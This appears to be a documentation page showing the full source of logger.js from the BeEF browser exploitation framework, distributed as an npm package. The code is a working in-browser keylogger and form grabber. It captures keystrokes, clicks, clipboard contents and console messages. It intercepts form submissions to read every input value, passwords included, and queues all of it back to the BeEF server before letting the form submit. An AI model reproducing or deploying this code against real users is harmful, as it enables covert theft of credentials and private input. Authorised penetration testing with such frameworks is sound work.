beef-npm
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Node.js package to install and interact with BeEF (Browser Exploitation Framework)
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<h1 class="page-title">Source: logger.js</h1>
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<pre class="prettyprint source linenums"><code>//
// Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* Provides logging capabilities.
* @namespace beef.logger
*/
beef.logger = {
running: false,
/**
* Internal logger id
*/
id: 0,
/**
* Holds events created by user, to be sent back to BeEF
*/
events: [],
/**
* Holds current stream of key presses
*/
stream: [],
/**
* Contains current target of key presses
*/
target: null,
/**
* Holds the time the logger was started
*/
time: null,
/**
* Holds the event details to be sent to BeEF
*/
e: function() {
this.id = beef.logger.get_id();
this.time = beef.logger.get_timestamp();
this.type = null;
this.x = 0;
this.y = 0;
this.target = null;
this.data = null;
this.mods = null;
},
/**
* Prevents from recursive event handling on form submission
*/
in_submit: false,
/**
* Starts the logger
*/
start: function() {
beef.browser.hookChildFrames();
this.running = true;
var d = new Date();
this.time = d.getTime();
$j(document).off('keypress');
$j(document).off('click');
$j(window).off('focus');
$j(window).off('blur');
$j('form').off('submit');
$j(document.body).off('copy');
$j(document.body).off('cut');
$j(document.body).off('paste');
if (!!window.console && typeof window.console == "object") {
try {
var oldInfo = window.console.info;
console.info = function (message) {
beef.logger.console('info', message);
oldInfo.apply(console, arguments);
};
var oldLog = window.console.log;
console.log = function (message) {
beef.logger.console('log', message);
oldLog.apply(console, arguments);
};
var oldWarn = window.console.warn;
console.warn = function (message) {
beef.logger.console('warn', message);
oldWarn.apply(console, arguments);
};
var oldDebug = window.console.debug;
console.debug = function (message) {
beef.logger.console('debug', message);
oldDebug.apply(console, arguments);
};
var oldError = window.console.error;
console.error = function (message) {
beef.logger.console('error', message);
oldError.apply(console, arguments);
};
} catch(e) {}
}
$j(document).keypress(
function(e) { beef.logger.keypress(e); }
).click(
function(e) { beef.logger.click(e); }
);
$j(window).focus(
function(e) { beef.logger.win_focus(e); }
).blur(
function(e) { beef.logger.win_blur(e); }
);
$j('form').submit(
function(e) {
beef.logger.submit(e);
}
);
$j(document.body).on('copy', function() {
setTimeout("beef.logger.copy();", 10);
});
$j(document.body).on('cut', function() {
setTimeout("beef.logger.cut();", 10);
});
$j(document.body).on('paste', function() {
beef.logger.paste();
});
},
/**
* Stops the logger
*/
stop: function() {
this.running = false;
clearInterval(this.timer);
$j(document).off('keypress');
$j(document).off('click');
$j(window).off('focus');
$j(window).off('blur');
$j('form').off('submit');
$j(document.body).off('copy');
$j(document.body).off('cut');
$j(document.body).off('paste');
// TODO: reset console
},
/**
* Get id
*/
get_id: function() {
this.id++;
return this.id;
},
/**
* Click function fires when the user clicks the mouse.
*/
click: function(e) {
var c = new beef.logger.e();
c.type = 'click';
c.x = e.pageX;
c.y = e.pageY;
c.target = beef.logger.get_dom_identifier(e.target);
this.events.push(c);
},
/**
* Fires when the window element has regained focus
*/
win_focus: function(e) {
var f = new beef.logger.e();
f.type = 'focus';
this.events.push(f);
},
/**
* Fires when the window element has lost focus
*/
win_blur: function(e) {
var b = new beef.logger.e();
b.type = 'blur';
this.events.push(b);
},
/**
* Keypress function fires everytime a key is pressed.
* @param {Object} e: event object
*/
keypress: function(e) {
if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
{
beef.logger.push_stream();
this.target = e.target;
}
this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
},
/**
* Copy function fires when the user copies data to the clipboard.
*/
copy: function(x) {
try {
var c = new beef.logger.e();
c.type = 'copy';
c.data = clipboardData.getData("Text");
this.events.push(c);
} catch(e) {}
},
/**
* Cut function fires when the user cuts data to the clipboard.
*/
cut: function() {
try {
var c = new beef.logger.e();
c.type = 'cut';
c.data = clipboardData.getData("Text");
this.events.push(c);
} catch(e) {}
},
/**
* Console function fires when data is sent to the browser console.
*/
console: function(type, message) {
try {
var c = new beef.logger.e();
c.type = 'console';
c.data = type + ': ' + message;
this.events.push(c);
} catch(e) {}
},
/**
* Paste function fires when the user pastes data from the clipboard.
*/
paste: function() {
try {
var c = new beef.logger.e();
c.type = 'paste';
c.data = clipboardData.getData("Text");
this.events.push(c);
} catch(e) {}
},
/**
* Submit function fires whenever a form is submitted
* TODO: Cleanup this function
*/
submit: function(e) {
if (beef.logger.in_submit) {
return true;
}
try {
var f = new beef.logger.e();
f.type = 'submit';
f.target = beef.logger.get_dom_identifier(e.target);
var jqForms = $j(e.target);
var values = jqForms.find('input').map(function() {
var inp = $j(this);
return inp.attr('name') + '=' + inp.val();
}).get().join();
beef.debug('submitting form inputs: ' + values);
/*
for (var i = 0; i < e.target.elements.length; i++) {
values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
}
*/
f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
this.events.push(f);
this.queue();
this.target = null;
beef.net.flush(function done() {
beef.debug("Submitting the form");
beef.logger.in_submit = true;
jqForms.submit();
beef.logger.in_submit = false;
beef.debug("Done submitting");
});
e.preventDefault();
return false;
} catch(e) {}
},
/**
* Pushes the current stream to the events queue
*/
push_stream: function() {
if (this.stream.length > 0)
{
this.events.push(beef.logger.parse_stream());
this.stream = [];
}
},
/**
* Translate DOM Object to a readable string
*/
get_dom_identifier: function(target) {
target = (target == null) ? this.target : target;
var id = '';
if (target)
{
id = target.tagName.toLowerCase();
id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
}
return id;
},
/**
* Formats the timestamp
* @return {String} timestamp string
*/
get_timestamp: function() {
var d = new Date();
return ((d.getTime() - this.time) / 1000).toFixed(3);
},
/**
* Parses stream array and creates history string
*/
parse_stream: function() {
var s = '';
var mods = '';
for (var i in this.stream){
try{
var mod = this.stream[i]['modifiers'];
s += String.fromCharCode(this.stream[i]['char']);
if(typeof mod != 'undefined' &&
(mod['alt'] == true ||
mod['ctrl'] == true ||
mod['shift'] == true)){
mods += (mod['alt']) ? ' [Alt] ' : '';
mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
mods += (mod['shift']) ? ' [Shift] ' : '';
mods += String.fromCharCode(this.stream[i]['char']);
}
}catch(e){}
}
var k = new beef.logger.e();
k.type = 'keys';
k.target = beef.logger.get_dom_identifier();
k.data = s;
k.mods = mods;
return k;
},
/**
* Queue results to be sent back to framework
*/
queue: function() {
beef.logger.push_stream();
if (this.events.length > 0)
{
beef.net.queue('/event', 0, this.events);
this.events = [];
}
}
};
beef.regCmp('beef.logger');
</code></pre>
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